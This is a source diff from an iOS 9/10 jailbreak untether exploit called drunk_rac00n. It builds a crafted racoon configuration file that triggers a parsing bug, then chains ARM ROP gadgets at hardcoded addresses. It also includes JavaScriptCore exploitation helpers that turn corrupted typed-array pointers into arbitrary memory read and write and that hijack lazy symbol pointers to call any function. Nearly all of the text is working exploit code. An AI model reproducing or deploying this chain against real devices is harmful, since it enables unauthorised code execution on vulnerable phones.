+ MOV_R0(0 - (0x20000000 + scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 20); + + /* calculate dyld_shared_cache slide */ + MOV_R0(0 - (scprefcreate_dsc_offset)); + MOV_R1_R0(); + DEREF_IN_R0(base + scprefcreate_lazy_offset); + ADD_R0_R1(); + STR_R0(base + reserve_addr + 16); + + /* print the status string */ + MOV_R1_R0(); + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// uint32_t slid_b0i = 0x2b14000; + + uint32_t JSContextGroupCreate = get_dyld_shc_sym_addr_jsc("JSContextGroupCreate"); + uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup"); + uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject"); + uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString"); + uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript"); + uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); + + MOV_R0(dlsym_); + STR_R0(base + reserve_addr + 24); + +// uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); + + fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_); + +/* + MOV_R0(0); + STR_R0(base + 0x140000); + STR_R0(base + 0x140004); + + MOV_R0(0); + MOV_R1_R0(); + MOV_R0(base + 0x140000); + CALL_SLID(settimeofday); + */ + + PRINT_STILL_HERE(); + CALL_SLID(JSContextGroupCreate); + STR_R0(base + reserve_addr + 0x40); + MOV_R1_R0(); + PRINT_STILL_HERE(); + MOV_R1(0); + DEREF_IN_R0(base + reserve_addr + 0x40); + + CALL_SLID(JSGlobalContextCreateInGroup); + STR_R0(base + reserve_addr + 0x44); + MOV_R1_R0(); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x44); + + CALL_SLID(JSContextGetGlobalObject); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + MOV_R0(0x108000); + + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + + uint32_t slide = (base) >> 12; + + fprintf(stderr, "%x %x\n", base, stack_base); + fprintf(stderr, "%x\n", get_dyld_shc_slide()); + + MOV_R0(0x422260); + STR_R0(0x422290); +// MOV_R0(0x2022260); +// STR_R0(0x2022290); + // MOV_R0(0x422260); + // STR_R0(0x422290); + + MOV_R0(0x10a000); + CALL_SLID(JSStringCreateWithUTF8CString); + STR_R0(base + reserve_addr + 0x48); + PRINT_STILL_HERE(); +/* + DEREF_IN_R0(base + reserve_addr + 0x48); + MOV_R1_R0(); + */ + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + MOV_R1_R0(); + PRINT_STILL_HERE(); + + DEREF_IN_R0(0x144444); + MOV_R1_R0(); + CALL_1ARG(base + printf_addr, base + dyld_shc_base_status); + +// CALL_1ARG(base + printf_addr, 0x109000); + + /* exit */ + CALL_1ARG(base + exit_addr, 69); + + chain_b0i->teh_chain = chain; + chain_b0i->chain_len = chain_len * 4; + + return chain_b0i; +} diff --git a/src/gen/stage2.h b/src/gen/stage2.h new file mode 100644 index 0000000..0c7b62b --- /dev/null +++ b/src/gen/stage2.h @@ -0,0 +1,40 @@ +#ifndef SHITTY_ROP_H +#define SHITTY_ROP_H + +#include + +struct rop_chain_shit_t { + uint32_t* teh_chain; + uint32_t chain_len; +}; + +typedef struct rop_chain_shit_t* rop_chain_shit; + +#define GARBAGE 0x6A9BA6E +//#define UNUSED 0xEEEEEEEE +#define UNUSED 0x40000000 | (0x100000 + (__LINE__)) + +rop_chain_shit gen_rop_chain(uint32_t base, + uint32_t default_domain_addr, + uint32_t mov_r0, + uint32_t puts_addr, + uint32_t blx_r5, + uint32_t nulls_addr, + uint32_t malloc_addr, + uint32_t mov_r1_r0, + uint32_t nop, + uint32_t malloc_status_addr, + uint32_t printf_addr, + uint32_t exit_addr, + uint32_t str_r0_r4, + uint32_t reserve_addr, + uint32_t ldr_r0_r0, + uint32_t add_r0_r1, + uint32_t stack_base, + uint32_t dyld_shc_base_status, + uint32_t scprefcreate_dsc_offset, + uint32_t scprefcreate_lazy_offset, + uint32_t weird_r3, + uint32_t other_weird_r3); + +#endif \ No newline at end of file diff --git a/src/ip_tools.c b/src/ip_tools.c deleted file mode 100644 index 6e36b64..0000000 --- a/src/ip_tools.c +++ /dev/null @@ -1,24 +0,0 @@ -/* - * ip_tools - */ - -#include -#include -#include - -#include "ip_tools.h" - -char* uint32_t_to_ip(uint32_t val) { - uint8_t byte1 = (val >> 0) & 0xff; - uint8_t byte2 = (val >> 8) & 0xff; - uint8_t byte3 = (val >> 16) & 0xff; - uint8_t byte4 = (val >> 24) & 0xff; - char* ret = NULL; - - asprintf(&ret, "%u.%u.%u.%u", - byte1, - byte2, - byte3, - byte4); - return ret; -} \ No newline at end of file diff --git a/src/ip_tools.h b/src/ip_tools.h deleted file mode 100644 index a011094..0000000 --- a/src/ip_tools.h +++ /dev/null @@ -1,8 +0,0 @@ -#ifndef IP_TOOLS_H -#define IP_TOOLS_H - -#include - -char* uint32_t_to_ip(uint32_t val); - -#endif \ No newline at end of file diff --git a/src/js/call.js b/src/js/call.js new file mode 100644 index 0000000..c766b1a --- /dev/null +++ b/src/js/call.js @@ -0,0 +1,52 @@ +var gettimeofday_lazy_addy = 0x34d63d3c; +var atan2_lazy_addy = 0x346afc84; +var reserve_addr = 0x1a0000; +var slide = 0x0; +var base = 0x0; +//var slid = 0x0; + +function get_dyld_shc_slide() { + return read_u32((slide << 12) + reserve_addr + 20); +} + +function call(addy) { + var dyld_shc_slide = get_dyld_shc_slide(); + var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); + write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); + var d = new Date(); + write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); +} + +function call4arg(addy, r0, r1, r2, r3) { + var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); + var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); + + arg1d = arg1.asDouble(); + arg2d = arg2.asDouble(); + + delete arg1; + delete arg2; + + var dyld_shc_slide = get_dyld_shc_slide(); + + tmp = read_u32(atan2_lazy_addy + dyld_shc_slide); + write_u32(atan2_lazy_addy + dyld_shc_slide, addy); + ret = Math.atan2(arg1d, arg2d); + write_u32(atan2_lazy_addy + dyld_shc_slide, tmp); + + delete tmp; + delete arg1d; + delete arg2d; + + return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; +} + +/* + * call with symbol + */ +function calls4arg(sym, r0, r1, r2, r3) { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); + return call4arg(addy, r0, r1, r2, r3); +} diff --git a/src/js/int64.js b/src/js/int64.js new file mode 100644 index 0000000..1ef5910 --- /dev/null +++ b/src/js/int64.js @@ -0,0 +1,169 @@ +// +// Tiny module that provides big (64bit) integers. +// +// Copyright (c) 2016 Samuel Groß +// +// Requires utils.js +// + +// Datatype to represent 64-bit integers. +// +// Internally, the integer is stored as a Uint8Array in little endian byte order. +function Int64(v) { + // The underlying byte array. + var bytes = new Uint8Array(8); + + switch (typeof v) { + case 'number': + v = '0x' + Math.floor(v).toString(16); + case 'string': + if (v.startsWith('0x')) + v = v.substr(2); + if (v.length % 2 == 1) + v = '0' + v; + + var bigEndian = unhexlify(v, 8); + bytes.set(Array.from(bigEndian).reverse()); + break; + case 'object': + if (v instanceof Int64) { + bytes.set(v.bytes()); + } else { + if (v.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(v); + } + break; + case 'undefined': + break; + default: + throw TypeError("Int64 constructor requires an argument."); + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function() { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Integer can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function() { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) + throw new RangeError("Integer can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + this.assignSub(this, 0x1000000000000); + var res = Struct.unpack(Struct.float64, bytes); + this.assignAdd(this, 0x1000000000000); + + return res; + }; + + // Return the underlying bytes of this number as array. + this.bytes = function() { + return Array.from(bytes); + }; + + // Return the byte at the given index. + this.byteAt = function(i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function() { + return '0x' + hexlify(Array.from(bytes).reverse()); + }; + + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function() { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + for (var i = 0; i < arguments.length; i++) + if (!(arguments[i] instanceof Int64)) + arguments[i] = new Int64(arguments[i]); + return f.apply(this, arguments); + }; + } + + // this = -n (two's complement) + this.assignNeg = operation(function neg(n) { + for (var i = 0; i < 8; i++) + bytes[i] = ~n.byteAt(i); + + return this.assignAdd(this, Int64.One); + }, 1); + + // this = a + b + this.assignAdd = operation(function add(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) + b.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a - b + this.assignSub = operation(function sub(a, b) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = a.byteAt(i) - b.byteAt(i) - carry; + carry = cur < 0 | 0; + bytes[i] = cur; + } + return this; + }, 2); + + // this = a ^ b + this.assignXor = operation(function sub(a, b) { + for (var i = 0; i < 8; i++) { + bytes[i] = a.byteAt(i) ^ b.byteAt(i); + } + return this; + }, 2); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function(d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Convenience functions. These allocate a new Int64 to hold the result. + +// Return -n (two's complement) +function Neg(n) { + return (new Int64()).assignNeg(n); +} + +// Return a + b +function Add(a, b) { + return (new Int64()).assignAdd(a, b); +} + +// Return a - b +function Sub(a, b) { + return (new Int64()).assignSub(a, b); +} + +// Return a ^ b +function Xor(a, b) { + return (new Int64()).assignXor(a, b); +} + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); + +// That's all the arithmetic we need for exploiting WebKit.. :) diff --git a/src/js/libu8.js b/src/js/libu8.js new file mode 100644 index 0000000..b619fd8 --- /dev/null +++ b/src/js/libu8.js @@ -0,0 +1,56 @@ +/* + * turn a uint32_t into a little-endian 4 byte array + */ +function u32_to_u8x4(val) { + u8x4 = new Uint8Array(0x4); + + val_ = val >>> 0; + + u8x4[0] = ((val_ >> 0) & 0xff); + u8x4[1] = ((val_ >> 8) & 0xff); + u8x4[2] = ((val_ >> 16) & 0xff); + u8x4[3] = ((val_ >> 24) & 0xff); + + return u8x4; +} + +/* + * turn a uint16_t into a little-endian 2 byte array + */ +function u16_to_u8x2(val) { + u8x2 = new Uint8Array(0x2); + + val_ = val >>> 0; + + u8x2[0] = ((val_ >> 0) & 0xff); + u8x2[1] = ((val_ >> 8) & 0xff); + + return u8x2; +} + +/* + * turn a little-endian 4 byte array into a uint32_t + */ +function u8x4_to_u32(buf) { + u32 = 0x0; + + u32 += (buf[0] << 0); + u32 += (buf[1] << 8); + u32 += (buf[2] << 16); + u32 += (buf[3] << 24); + + return u32 >>> 0; +} + +/* + * turn a little-endian 2 byte array into a uint16_t + */ +function u8x2_to_u16(buf) { + u16 = 0x0; + + u16 += (buf[0] << 0); + u16 += (buf[1] << 8); + + return u16 >>> 0; + +} diff --git a/src/js/main.js b/src/js/main.js new file mode 100644 index 0000000..dd7f1f0 --- /dev/null +++ b/src/js/main.js @@ -0,0 +1,58 @@ +/* + * november 24th 2021 + * [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway + * + * ohai + */ + +var MAX_SLIDE = 0x3; +var MIN_SLIDE = 0x1; + +try { + log("we out here in jsc"); +} catch (e) { + /* + * we don't have log. :( + */ + + log = function (){}; +} + +function main() { + /* + * get slide and calculate slid base + * remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's + * + * so, take the slide, shift it by 12 bits (aslr is calc'd by taking a + * random byte and shifting it 12 bits, in this case the page size, 4096 + * (0x1000) bytes), and add it to the unslid base. + */ + + slide = get_our_slide(); + base = 0x4000 + (slide << 12); + slid = (slide << 12); + + init_sptr_heap(); + + calls4arg("puts\0", sptr("we out here\0"), 0, 0, 0); + + log("slide=0x" + slide.toString(16)); + log("*(uint8_t*)base = 0x" + read_u8(base).toString(16)); + log("*(uint16_t*)base = 0x" + read_u16(base).toString(16)); + log("*(uint32_t*)base = 0x" + read_u32(base).toString(16)); + + predicted_jsobject_addy = 0x422200; + buf = read_buf(predicted_jsobject_addy, 0x200); + + log("hexdump of predicted jsobject loc:"); + log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x")); + + var i = 0; + while (true) { + calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0); + calls4arg("sleep", 0, 0, 0, 0); + i++; + } + + log("still alive"); +}; diff --git a/src/js/mem.js b/src/js/mem.js new file mode 100644 index 0000000..6c30376 --- /dev/null +++ b/src/js/mem.js @@ -0,0 +1,186 @@ +var shit_status = 0x144444; +var global_sptr_addy = 0; +var VECTOR_OFFSET = 0x10; +var sptr_size = 0; +var sptr_len = 0; + +/* + * read uint8_t + */ +function read_u8(addy) { + u8x4 = u32_to_u8x4(addy); + + /* + * `parent` is a Uint8Array of length 0x100. + * `child` is also a Uint8Array of length 0x100. + * `parent`'s `vector`, its pointer to where its data is stored, has been + * modified to point to the `child` object in memory. + * as such, accessing `parent` will allow for modifying the `child` object. + * + * the way this is used is by writing to `child`'s `vector` so it points to + * arbitrary memory. then, we can access `child`, and we now have arbitrary + * r/w + */ + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return child[0]; +} + +/* + * read uint16_t + */ +function read_u16(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x2_to_u16(child); + +} + +/* + * read uint32_t + */ +function read_u32(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x4_to_u32(child); +} + +/* + * read a buffer + */ +function read_buf(addy, len) { + var buf = new Uint8Array(len); + + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + buf[cur_addy - addy] = read_u8(cur_addy); + } + + return buf; +} + +/* + * write a buffer + */ +function write_buf(addy, buf, len) { + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + write_u8(cur_addy, buf[cur_addy - addy]); + } + + return buf; +} + +/* + * write uint8_t + */ +function write_u8(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + child[0] = what; +} + +/* + * write uint16_t + */ +function write_u16(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x2 = u16_to_u8x2(what); + child[0] = u8x2[0]; + child[1] = u8x2[1]; +} + +/* + * write uint32_t + */ +function write_u32(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x4 = u32_to_u8x4(what); + child[0] = u8x4[0]; + child[1] = u8x4[1]; + child[2] = u8x4[2]; + child[3] = u8x4[3]; +} + +/* + * get process slide + */ +function get_our_slide() { + for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { + if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { + return slide; + } + } +} + +/* + * write str to addy + */ +function write_str(addy, s) { + for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { + write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); + } + + return s; +} + +function init_sptr_heap() { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "malloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0); + sptr_size = 0x1000000; + sptr_len = 0; + + calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0); + + return global_sptr_addy; +} + +/* + * sptr is meant to give you a pointer to a specified string + * remember your nul's! + */ +function sptr(s) { + if ((sptr_len + s.length) >= sptr_size) { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "realloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); + sptr_size += 0x100000; + } + write_str(global_sptr_addy, s); + global_sptr_addy += s.length; + return global_sptr_addy - s.length; +} \ No newline at end of file diff --git a/src/js/str.js b/src/js/str.js new file mode 100644 index 0000000..31621bf --- /dev/null +++ b/src/js/str.js @@ -0,0 +1,113 @@ +/* + * currently unused (iirc) garbage + * basically just prints an address than the uint32_t there, and then +4, etc + */ +function prim_dump_u32(buf) { + s = ""; + + for (var i = 0; i < buf.length; i += 4) { + tmp = []; + + tmp.push(buf[i + 0]); + tmp.push(buf[i + 1]); + tmp.push(buf[i + 2]); + tmp.push(buf[i + 3]); + + s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += ": "; + s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); + if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { + s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); + s += "\n"; + val = read_u32(u8x4_to_u32(tmp)); + if (val >= 0x1800000 && val < 0x1900000) { + buf = read_buf(val, 0x100); + s += (hexdump(buf, 8, 2, val, 8, "0x")); + } + } + s += "\n"; + } + + return s; +} + +/* + * pad str to n chars with c chars to the left +*/ +function pad_left(s, c, n) { + s_ = s; + + if (s_.length < n) { + s_ = c.repeat(n - s_.length) + s_; + } + + return s_; +} + +/* + * convert ASCII str to uint8array (unicode be damned) + */ +function str_to_uint8_buf(s) { + buf = new Uint8Array(s.length); + + for (i = 0; i < s.length; i++) { + buf[i] = s.charCodeAt(i); + } + + return buf; +} + +/* + * HOLY UGLY BATMAN! + */ +function hexdump(buf, cols, col_split, base, pad_base, base_prefix) { + s = ""; + if (buf.constructor != Uint8Array) { + buf = str_to_uint8_buf(buf); + } + + for (i = 0; i < buf.length; i += (cols * col_split)) { + cur_base = base + i; + s += base_prefix + pad_left(cur_base.toString(16), "0", pad_base) + ": "; + for (j = i; j < (i + (cols * col_split)); j += col_split) { + for (k = j; k < (j + col_split); k++) { + val = buf[k]; + try { + s += pad_left(val.toString(16), "0", 2); + } catch (e) { + s += " "; + } + } + s += " "; + } + + for (j = i; j < (i + (cols * col_split)); j++) { + val = buf[j]; + + if (val < 0x20 || val >= 0x80) { + val = 0x2e; // period + } + + chr = String.fromCharCode(val); + s += chr; + } + + s += "\n"; + } + + return s; +} + +/* + * HEX SHIT + */ +function prim_hexdump(buf) { + s = ""; + + for (i = 0; i < buf.length; i++) { + val = buf[i]; + s += pad_left(val.toString(16), "0", 2); + } + + return s; +} diff --git a/src/js/utils.js b/src/js/utils.js new file mode 100644 index 0000000..361e71d --- /dev/null +++ b/src/js/utils.js @@ -0,0 +1,78 @@ +// +// Utility functions. +// +// Copyright (c) 2016 Samuel Groß +// + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i+16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +// Simplified version of the similarly named python module. +var Struct = (function() { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function(type, value) { + var view = type; // See below + view[0] = value; + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function(type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); diff --git a/src/main.c b/src/main.c deleted file mode 100644 index 3c8d513..0000000 --- a/src/main.c +++ /dev/null @@ -1,509 +0,0 @@ -/* - * drunk_rac00n - * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon - * config file bug. then ROP the shit out of racoon, and it remains to be seen - * what will be done after that. UPDATE THIS COMMENT!!! - */ - -#include -#include -#include -#include -#include - -#include "stage1_primitives.h" -#include "stage0_primitives.h" -#include "patchfinder.h" -#include "stage2.h" -#include "ip_tools.h" -#include "common.h" -#include "shit.h" - -uint32_t DNS4_OFFSET; -uint32_t LC_CONF_OFFSET; - -// https://opensource.apple.com/source/Libc/Libc-825.26/string/FreeBSD/memmem.c.auto.html -void * -memmem(const void *l, size_t l_len, const void *s, size_t s_len) -{ - register char *cur, *last; - const char *cl = (const char *)l; - const char *cs = (const char *)s; - - /* we need something to compare */ - if (l_len == 0 || s_len == 0) - return NULL; - - /* "s" must be smaller or equal to "l" */ - if (l_len < s_len) - return NULL; - - /* special case where s_len == 1 */ - if (s_len == 1) - return memchr(l, (int)*cs, l_len); - - /* the last position where its possible to find "s" in "l" */ - last = (char *)cl + l_len - s_len; - - for (cur = (char *)cl; cur <= last; cur++) - if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0) - return cur; - - return NULL; -} - -char* fuck_memory_leaks = NULL; - -FILE* fp = NULL; - -void help(void) { - fprintf(stderr, - "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n", - getprogname()); -} - -void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) { - uint8_t* new_what = (uint8_t*)what; - for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) { - fprintf(stderr, "0x016%llx: ", new_what); - for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) { - for (uint8_t* k = j; k < (j + col_split); k++) { - uint8_t val = *k; - if (new_what < (what + len)) { - fprintf(stderr, "%02x", val); - } else { - fprintf(stderr, " "); - } - } - - fprintf(stderr, " "); - } - - for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) { - uint8_t val = *j; - if (val < 0x20 || val >= 0x80) { - val = 0x2e; - } - - fprintf(stderr, "%c", val); - } - - fprintf(stderr, "\n"); - } -} - -void prim_hexdump_to_stderr(void* what, size_t len) { - for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) { - fprintf(stderr, "%02x", *new_what); - } - - fprintf(stderr, "\n"); -} - -int main(int argc, - char* argv[]) { - uint8_t* buf = NULL; - size_t sz = -1; - char* bin_path = NULL; - char* js_path = NULL; - char* js_src = NULL; - FILE* bin = NULL; - FILE* js = NULL; - bool had_f = false; - bool had_j = false; - int c = -1; - - fp = stdout; - - fuck_memory_leaks = (char*)malloc(1048576); - - if (argc < 2) { - help(); - return -1; - } - - while ((c = getopt(argc, argv, "hf:o:j:")) != -1) { - switch (c) { - case 'o': - fp = fopen(optarg, "w"); - break; - case 'f': - bin_path = strdup(optarg); - had_f = true; - break; - case 'j': - js_path = strdup(optarg); - had_j = true; - break; - case 'h': - help(); - return -1; - default: - help(); - return -1; - } - } - - if (!bin_path) { -#if 0 - fprintf(stderr, - had_f ? "error: failed to open racoon binary...\n" - : "error: racoon binary unspecified.\n"); - return -1; -#endif - bin = fopen("/usr/sbin/racoon", "rb"); - } else { - bin = fopen(bin_path, "rb"); - } - - if (!had_j) { -#if 0 - fprintf(stderr, - had_j ? "error: failed to open JS code...\n" - : "error: JS code unspecified.\n"); - return -1; -#endif - js = fopen("lol.js", "rb"); - } else { - js = fopen(js_path, "rb"); - } - - fseek(js, 0L, SEEK_END); - sz = ftell(js); - rewind(js); - - js_src = (char*)malloc(sz); - fread(js_src, 1, sz, js); - - fseek(bin, 0L, SEEK_END); - sz = ftell(bin); - rewind(bin); - - buf = (uint8_t*)malloc(sz); - fread(buf, 1, sz, bin); - DNS4_OFFSET = find_dns4_offset(0, buf, sz); - LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz); - free(buf); - - fprintf(stderr, "we out here\n"); - - fprintf(fp, "# drunk_rac00n exploit by @__spv\n"); - fprintf(fp, "# this file is auto-generated by the p0laris untether,\n"); - fprintf(fp, "# do not edit or delete!!!\n"); - fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET); - fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET); - fprintf(fp, "# bin_path=\"%s\"\n", bin_path); - fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n", - __DATE__, - __TIME__, - __VERSION__, - __WHOAMI__, - __PWD__); - fprintf(fp, "# - with love from spv <3\n"); - fprintf(fp, "\n"); - - uint32_t stack_base = 0x1c7738; // my shell setup -// uint32_t stack_base = 0x1c7c88; // my 4s shell setup -// uint32_t stack_base = 0x1c2e48; // my lldb -// uint32_t stack_base = 0x1c7d68; // btserver env -// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env - uint32_t magic_trigger_addr = 0xb6074; - - uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; - uint32_t pop_r4_to_r7_pc = 0x781a | 1; - uint32_t mov_r0 = 0xee40 | 1; - uint32_t puts_addr = 0x9ac54; - uint32_t blx_r5 = 0x13012 | 1; - uint32_t malloc_addr = 0x9abdc; - uint32_t mov_r1_r0 = 0x72f76 | 1; - uint32_t nop = 0x781a | 1; - uint32_t printf_addr = 0x9ac30; - uint32_t exit_addr = 0x9a9a8; - uint32_t str_r0_r4 = 0x85474 | 1; - uint32_t ldr_r0_r0 = 0x397dc | 1; - uint32_t add_r0_r1 = 0x75cca | 1; - uint32_t pivot_addr = 0x75f18 | 1; - uint32_t pivot_to = 0x100000; - uint32_t weird_r3 = 0x75a3c | 1; - uint32_t other_weird_r3 = 0x8806 | 1; - -#if 0 - fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); - fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); - - mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1; - 